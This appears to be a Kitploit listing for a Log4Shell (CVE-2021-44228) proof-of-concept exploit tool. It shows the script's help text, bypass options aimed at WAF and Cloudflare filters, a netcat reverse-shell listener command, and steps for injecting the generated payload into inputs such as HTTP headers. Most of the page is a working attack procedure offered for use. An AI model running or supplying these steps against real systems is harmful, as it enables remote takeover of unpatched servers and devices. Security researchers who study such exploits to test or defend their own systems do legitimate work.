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log4j-shell-csw — A Proof-Of-Concept Exploit for CVE-2021-44228 vulnerability. | Kitploit
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log4j-shell-csw

A Proof-Of-Concept Exploit for CVE-2021-44228 vulnerability.

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Log4j Simple Exploit

A Proof-Of-Concept Exploit for CVE-2021-44228 vulnerability.

Log4j, which is used to log security and performance information, impacts upwards of 3 billion devices that use Java across a variety of consumer and enterprise services, websites and applications, as well as medical devices and supporting systems.
Note: This is not a "point and click" exploit. The initial trigger payload will be generated, but injecting it into the appropriate place (i.e. HTTP header/chat/etc.) will be up to the user.

Prerequisite's

  • python3
  • pip install -r requirements.txt
  • Install jdk1.8.0_20 and add bin folder to enviroment variable
root@kitploit:~
usage: python CVE-2021-44228-exploit.py --help 
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html

usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]

log4shell Reverse shell exploit

optional arguments:
  -h, --help            show this help message and exit
  --userip userip       Enter IP for LDAPRefServer & Shell
  --webport webport     listener port for HTTP port
  --lport lport         Netcat Port
  -b bypass, --bypass bypass
                        Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
                        ${lower:x} method restriction bypass
Example:
  1. Run the script for Linux OS with bypass payload of method
root@kitploit:~
python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods

2) run netcat on port 9001 in your local machine

root@kitploit:~
nc -lvnp 9001
  1. Copy the 'Try me' payload to bypass methods restriction and use it input variable to get shell in netcat
    Note: If No bypass is chosen use 'Send me' payload

Reference

  • https://akashpatil.me/log4j-guide-book.html
  • https://github.com/kozmer/log4j-shell-poc
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